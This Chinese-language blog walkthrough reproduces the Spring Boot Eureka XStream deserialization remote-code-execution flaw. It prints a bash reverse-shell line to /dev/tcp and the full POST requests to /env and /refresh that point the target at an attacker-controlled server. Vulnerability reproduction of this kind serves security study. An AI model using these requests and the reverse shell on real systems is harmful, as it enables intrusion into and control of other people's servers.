Spring-boot远程代码执行系列(eureka xstream deserialization RCE)

0x1 漏洞原理

1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。
2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload。
3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞。

0x2 漏洞利用条件

1.可以 POST 请求目标网站的 /env 接口设置属性
2.可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
3.目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
4.目标可以请求攻击者的 HTTP 服务器(请求可出外网)

0x3 漏洞复现

1、查看目标是否使用Spring Cloud Netflix。
在这里插入图片描述
2、架设响应恶意 XStream payload 的网站。
提供一个依赖 Flask 并符合要求的 python 脚本示例(https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

<string>bash -i >& /dev/tcp/ip/port 0>& 1</string>

在这里插入图片描述
运行。
在这里插入图片描述
3、nc开启监听。
在这里插入图片描述
4、设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x
POST /env HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
​
eureka.client.serviceUrl.defaultZone=http://vpsip/example

在这里插入图片描述
5、刷新配置。

POST /refresh HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述
6、成功反弹shell。
在这里插入图片描述

0x4 参考

https://github.com/LandGrey/SpringBootVulExploit

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值